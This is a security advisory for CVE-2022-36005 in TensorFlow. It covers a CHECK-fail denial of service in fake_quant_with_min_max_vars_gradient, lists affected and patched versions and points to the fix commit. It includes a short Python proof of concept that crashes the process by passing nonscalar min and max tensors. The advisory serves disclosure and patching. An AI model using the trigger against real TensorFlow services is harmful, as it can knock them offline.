CVE-2022-36005: `CHECK` fail in `FakeQuantWithMinMaxVarsGradient`

Package

pip tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions

< 2.10.0

Patched versions

2.7.2, 2.8.1, 2.9.1, 2.10.0

Impact

When tf.quantization.fake_quant_with_min_max_vars_gradient receives input min or max that is nonscalar, it gives a CHECK fail that can trigger a denial of service attack.

import tensorflow as tf import numpy as np arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_1=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_2=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_3=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_4=8 arg_5=False arg_6=’’ tf.quantization.fake_quant_with_min_max_vars_gradient(gradients=arg_0, inputs=arg_1, min=arg_2, max=arg_3, num_bits=arg_4, narrow_range=arg_5, name=arg_6)

Patches

We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
